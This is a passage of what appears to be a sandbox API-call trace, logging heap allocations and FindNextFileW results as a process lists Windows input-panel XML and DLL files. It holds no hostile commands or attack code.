returned 0xee01e8 [0046.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee2a80 [0046.032] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.032] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0046.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.032] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.033] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0208 [0046.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee2b08 [0046.033] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.033] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0046.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.033] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.033] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0228 [0046.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee2b90 [0046.033] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.033] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0046.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.033] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.033] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0248 [0046.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee2c18 [0046.033] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.033] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0046.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.033] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.033] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0268 [0046.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee2ca0 [0046.034] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.034] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0046.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.034] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.034] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0288 [0046.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee2d28 [0046.034] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.034] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0046.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.034] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.034] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee02a8 [0046.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee2db0 [0046.034] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.034] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0046.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.034] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.034] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee02c8 [0046.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee2e38 [0046.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x300) returned 0xed7330 [0046.035] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0690) returned 1 [0046.035] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.035] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0046.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.035] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.035] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.035] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.035] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0046.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.035] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.035] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee02e8 [0046.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee2ec0 [0046.035] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.035] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0046.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.035] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.035] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0308 [0046.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee2f48 [0046.035] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.035] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0046.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.036] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.036] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0328 [0046.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee2fd0 [0046.036] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.036] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0046.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.036] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.036] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0348 [0046.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3058 [0046.036] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.036] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0046.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.036] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.036] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0368 [0046.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee30e0 [0046.036] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.036] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0046.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.036] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.037] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0388 [0046.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3168 [0046.037] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.037] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0046.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.037] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.037] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.037] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.037] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0046.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.037] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.037] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee03a8 [0046.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee31f0 [0046.037] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.037] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0046.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.037] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.037] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee03c8 [0046.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3278 [0046.038] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.038] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0046.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.038] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.038] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee03e8 [0046.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3300 [0046.038] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.038] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0046.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.038] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.038] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.038] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.038] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0046.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.038] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.038] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0408 [0046.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3388 [0046.038] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.038] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, 